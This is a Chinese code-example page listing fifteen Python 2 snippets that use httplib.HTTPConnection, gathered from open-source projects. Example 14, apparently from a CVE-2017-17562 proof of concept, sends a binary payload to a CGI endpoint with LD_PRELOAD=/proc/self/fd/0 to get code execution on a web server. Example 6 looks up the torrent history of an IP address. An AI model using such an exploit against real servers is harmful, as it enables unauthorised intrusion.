当前位置: 首页>>代码示例>>Python>>正文


Python httplib.HTTPConnection方法代码示例

本文整理汇总了Python中httplib.HTTPConnection方法的典型用法代码示例。如果您正苦于以下问题:Python httplib.HTTPConnection方法的具体用法?Python httplib.HTTPConnection怎么用?Python httplib.HTTPConnection使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在httplib的用法示例。


在下文中一共展示了httplib.HTTPConnection方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。

示例1: __init__

# 需要导入模块: import httplib [as 别名]
# 或者: from httplib import HTTPConnection [as 别名]
def __init__(
        self,
        host,
        port=None,
        key_file=None,
        cert_file=None,
        strict=None,
        timeout=None,
        proxy_info=None,
        ca_certs=None,
        disable_ssl_certificate_validation=False,
        ssl_version=None,
    ):
        httplib.HTTPConnection.__init__(
            self, host, port=port, strict=strict, timeout=timeout
        ) 
开发者ID:remg427,项目名称:misp42splunk,代码行数:18,代码来源:__init__.py

示例2: do_command

# 需要导入模块: import httplib [as 别名]
# 或者: from httplib import HTTPConnection [as 别名]
def do_command(self, verb, args):
        conn = httplib.HTTPConnection(self.host, self.port)
        body = u'cmd=' + urllib.quote_plus(unicode(verb).encode('utf-8'))
        for i in range(len(args)):
            body += '&' + unicode(i+1) + '=' + urllib.quote_plus(unicode(args[i]).encode('utf-8'))
        if (None != self.sessionId):
            body += "&sessionId=" + unicode(self.sessionId)
        headers = {"Content-Type": "application/x-www-form-urlencoded; charset=utf-8"}
        conn.request("POST", "/selenium-server/driver/", body, headers)
    
        response = conn.getresponse()
        #print response.status, response.reason
        data = unicode(response.read(), "UTF-8")
        result = response.reason
        #print "Selenium Result: " + repr(data) + "\n\n"
        if (not data.startswith('OK')):
            raise Exception, data
        return data 
开发者ID:elsigh,项目名称:browserscope,代码行数:20,代码来源:selenium.py

示例3: test_connection_error

# 需要导入模块: import httplib [as 别名]
# 或者: from httplib import HTTPConnection [as 别名]
def test_connection_error(self):
    self.proxy = http_runtime.HttpRuntimeProxy(
        ['/runtime'], self.runtime_config_getter, appinfo.AppInfoExternal())
    self.proxy._process = self.mox.CreateMockAnything()
    login.get_user_info(None).AndReturn(('', False, ''))
    httplib.HTTPConnection.connect().AndRaise(socket.error())
    self.proxy._process.poll().AndReturn(None)
    httplib.HTTPConnection.close()

    self.mox.ReplayAll()
    self.assertRaises(socket.error,
                      self.proxy.handle(
                          {'PATH_INFO': '/'},
                          start_response=None,  # Not used.
                          url_map=self.url_map,
                          match=re.match(self.url_map.url, '/get%20error'),
                          request_id='request id',
                          request_type=instance.NORMAL_REQUEST).next)
    self.mox.VerifyAll() 
开发者ID:elsigh,项目名称:browserscope,代码行数:21,代码来源:http_runtime_test.py

示例4: test_start_and_not_serving

# 需要导入模块: import httplib [as 别名]
# 或者: from httplib import HTTPConnection [as 别名]
def test_start_and_not_serving(self):
    safe_subprocess.start_process(
        ['/runtime'],
        base64.b64encode(self.runtime_config.SerializeToString()),
        stdout=subprocess.PIPE,
        env={'foo': 'bar'},
        cwd=self.tmpdir).AndReturn(self.process)
    self.process.stdout.readline().AndReturn('34567')

    httplib.HTTPConnection.connect().AndRaise(socket.error)
    httplib.HTTPConnection.close()
    shutdown.async_quit()

    self.mox.ReplayAll()
    self.proxy.start()
    self.mox.VerifyAll() 
开发者ID:elsigh,项目名称:browserscope,代码行数:18,代码来源:http_runtime_test.py

示例5: __init__

# 需要导入模块: import httplib [as 别名]
# 或者: from httplib import HTTPConnection [as 别名]
def __init__(self,
               request,
               client_address,
               connection_handler=httplib.HTTPConnection):
    """Constructor extending BaseHTTPRequestHandler.

    Args:
      request: The incoming request.
      client_address: A (ip, port) tuple with the address of the client.
      backend: The HTTPServer that received the request.
      connection_handler: http library to use when balancer the connection to
        the next available backend instance. Used for dependency injection.
    """
    self.connection_handler = connection_handler
    BaseHTTPServer.BaseHTTPRequestHandler.__init__(self,
                                                   request,
                                                   client_address,
                                                   HttpServer()) 
开发者ID:elsigh,项目名称:browserscope,代码行数:20,代码来源:dev_appserver_multiprocess.py

示例6: work

# 需要导入模块: import httplib [as 别名]
# 或者: from httplib import HTTPConnection [as 别名]
def work(IP):
		conn = httplib.HTTPConnection("www.iknowwhatyoudownload.com/en/peer/?ip="+IP)
		conn.request("GET","/")
		response = conn.getresponse()
		data =response.read()
		soup = BS(data,"html.parser")
		table = soup.find('tbody')
		rows = table.findAll('tr')
		for tr in rows:
			cols = tr.findAll('td')
			Begin,End,Category,title,size=[c.text for c in cols]
			RESULT+="\n"+Begin+" "+Category+" "+title+" "+size
		toplevel = Toplevel()
		label= Label(toplevel,text=RESULT,height=0,width=100)
		label.pack()
		print RESULT 
开发者ID:HoussemCharf,项目名称:FunUtils,代码行数:18,代码来源:Torrent_ip_checker.py

示例7: status

# 需要导入模块: import httplib [as 别名]
# 或者: from httplib import HTTPConnection [as 别名]
def status(self, status, **kwargs):
        if self.server:
            try:
                conn = HTTPConnection(self.server, self.port)
                conn.request('GET', '/version/')
                resp = conn.getresponse()

                if not resp.read().startswith('Experiment'):
                    raise RuntimeError()

                HTTPConnection(self.server, self.port).request('POST', '', str(dict({
                    'id': self.id,
                    'version': __version__,
                    'status': status,
                    'hostname': self.hostname,
                    'cwd': self.cwd,
                    'script_path': self.script_path,
                    'script': self.script,
                    'comment': self.comment,
                    'time': self.time,
                }, **kwargs)))
            except:
                warn('Unable to connect to \'{0}:{1}\'.'.format(self.server, self.port)) 
开发者ID:lucastheis,项目名称:c2s,代码行数:25,代码来源:experiment.py

示例8: __init__

# 需要导入模块: import httplib [as 别名]
# 或者: from httplib import HTTPConnection [as 别名]
def __init__(self, target):
        # Target comes as protocol://target:port/path
        self.target = target
        proto, host, path = target.split(':')
        host = host[2:]
        self.path = '/' + path.split('/', 1)[1]
        if proto.lower() == 'https':
            #Create unverified (insecure) context
            try:
                uv_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
                self.session = HTTPSConnection(host,context=uv_context)
            except AttributeError:
                #This does not exist on python < 2.7.11
                self.session = HTTPSConnection(host)
        else:
            self.session = HTTPConnection(host)
        self.lastresult = None 
开发者ID:joxeankoret,项目名称:CVE-2017-7494,代码行数:19,代码来源:httprelayclient.py

示例9: processTarget

# 需要导入模块: import httplib [as 别名]
# 或者: from httplib import HTTPConnection [as 别名]
def processTarget(self, t, port):
        if not self.seentarget(t + str(port)):
            self.addseentarget(t + str(port))
            self.display.verbose(self.shortName + " - Connecting to " + t)
            try:
                conn = httplib.HTTPConnection(t, port, timeout=10)

                conn.request('GET', '/')
                response = conn.getresponse()
                serverver = response.getheader('server')
                if (serverver):
                    outfile = self.config["proofsDir"] + self.shortName + "_" + t + "_" + str(
                        port) + "_" + Utils.getRandStr(10)
                    Utils.writeFile("Identified Server Version of %s : %s\n\nFull Headers:\n%s" % (
                        t, serverver, self.print_dict(response.getheaders())), outfile)
                    kb.add("host/" + t + "/files/" + self.shortName + "/" + outfile.replace("/", "%2F"))

            except httplib.BadStatusLine:
                pass
            # except socket.error as e:
            except:
                pass 
开发者ID:tatanus,项目名称:apt2,代码行数:24,代码来源:scan_httpserverversion.py

示例10: make_connection

# 需要导入模块: import httplib [as 别名]
# 或者: from httplib import HTTPConnection [as 别名]
def make_connection(self, host):
        #return an existing connection if possible.  This allows
        #HTTP/1.1 keep-alive.
        if self._connection and host == self._connection[0]:
            return self._connection[1]

        # create a HTTP connection object from a host descriptor
        chost, self._extra_headers, x509 = self.get_host_info(host)
        #store the host argument along with the connection object
        self._connection = host, httplib.HTTPConnection(chost)
        return self._connection[1]

    ##
    # Clear any cached connection object.
    # Used in the event of socket errors.
    # 
开发者ID:glmcdona,项目名称:meddle,代码行数:18,代码来源:xmlrpclib.py

示例11: sspi_client

# 需要导入模块: import httplib [as 别名]
# 或者: from httplib import HTTPConnection [as 别名]
def sspi_client():
    c = httplib.HTTPConnection("localhost", options.port)
    c.connect()
    # Do the auth dance.
    ca = sspi.ClientAuth(options.package, targetspn=options.target_spn)
    data = None
    while 1:
        err, out_buf = ca.authorize(data)
        _send_msg(c.sock, out_buf[0].Buffer)
        if err==0:
            break
        data = _get_msg(c.sock)
    print "Auth dance complete - sending a few encryted messages"
    # Assume out data is sensitive - encrypt the message.
    for data in "Hello from the client".split():
        blob, key = ca.encrypt(data)
        _send_msg(c.sock, blob)
        _send_msg(c.sock, key)
    c.sock.close()
    print "Client completed." 
开发者ID:IronLanguages,项目名称:ironpython2,代码行数:22,代码来源:socket_server.py

示例12: test_ipv6host_header

# 需要导入模块: import httplib [as 别名]
# 或者: from httplib import HTTPConnection [as 别名]
def test_ipv6host_header(self):
        # Default host header on IPv6 transaction should be wrapped by [] if
        # it is an IPv6 address
        expected = 'GET /foo HTTP/1.1\r\nHost: [2001::]:81\r\n' \
                   'Accept-Encoding: identity\r\n\r\n'
        conn = httplib.HTTPConnection('[2001::]:81')
        sock = FakeSocket('')
        conn.sock = sock
        conn.request('GET', '/foo')
        self.assertTrue(sock.data.startswith(expected))

        expected = 'GET /foo HTTP/1.1\r\nHost: [2001:102A::]\r\n' \
                   'Accept-Encoding: identity\r\n\r\n'
        conn = httplib.HTTPConnection('[2001:102A::]')
        sock = FakeSocket('')
        conn.sock = sock
        conn.request('GET', '/foo')
        self.assertTrue(sock.data.startswith(expected)) 
开发者ID:IronLanguages,项目名称:ironpython2,代码行数:20,代码来源:test_httplib.py

示例13: main

# 需要导入模块: import httplib [as 别名]
# 或者: from httplib import HTTPConnection [as 别名]
def main(self):
        os.system('sudo service tor restart')
        _TOR()._connectTOR()
        
        print " * Connected to TOR..."
        time.sleep(1)
        print " * Please wait.. now checking your IP..."
        
        conn = httplib.HTTPConnection(self.ip)
        conn.request("GET", "/")
        response = conn.getresponse()
        #print response.status, response.reason
        #print (response.read())
        
        f =  urllib2.urlopen("http://"+self.ip)
        print f.read()

        _TOR()._newIdentity()

        conn = httplib.HTTPConnection(self.ip)
        conn.request("GET", "/")
        response = conn.getresponse()
        #print response.status, response.reason
        print (response.read()) 
开发者ID:agusmakmun,项目名称:Some-Examples-of-Simple-Python-Script,代码行数:26,代码来源:TOR.py

示例14: run

# 需要导入模块: import httplib [as 别名]
# 或者: from httplib import HTTPConnection [as 别名]
def run(self):
        '''
        run PoC
        '''
        _url = '/cgi-bin/' +  self.cgiroute + '?LD_PRELOAD=/proc/self/fd/0'
        _payload_data = self._loadBinarypayload()
        
        headers = {"Host": self.server,
                    "User-Agent": "curl/7.51.0",
                    "Accept": "*/*",
                    "Content-Length": str(len(_payload_data))}
        conn = httplib.HTTPConnection(self.server, self.port)
        conn.connect()
        conn.request("POST", _url, _payload_data, headers)

        try:
            res = conn.getresponse()
            self._verify(res)
        except Exception as e:
            print(">>> error encountered! {}".format(str(e)))
        
        conn.close() 
开发者ID:cyber-prog0x,项目名称:PoC-Bank,代码行数:24,代码来源:CVE-2017-17562.py

示例15: __init__

# 需要导入模块: import httplib [as 别名]
# 或者: from httplib import HTTPConnection [as 别名]
def __init__(self):
    self.httpClient = httplib.HTTPConnection('localhost', 9528, timeout=30) 
开发者ID:yourtion,项目名称:Alfred_ShadowsocksController,代码行数:4,代码来源:SSR.py


注:本文中的httplib.HTTPConnection方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。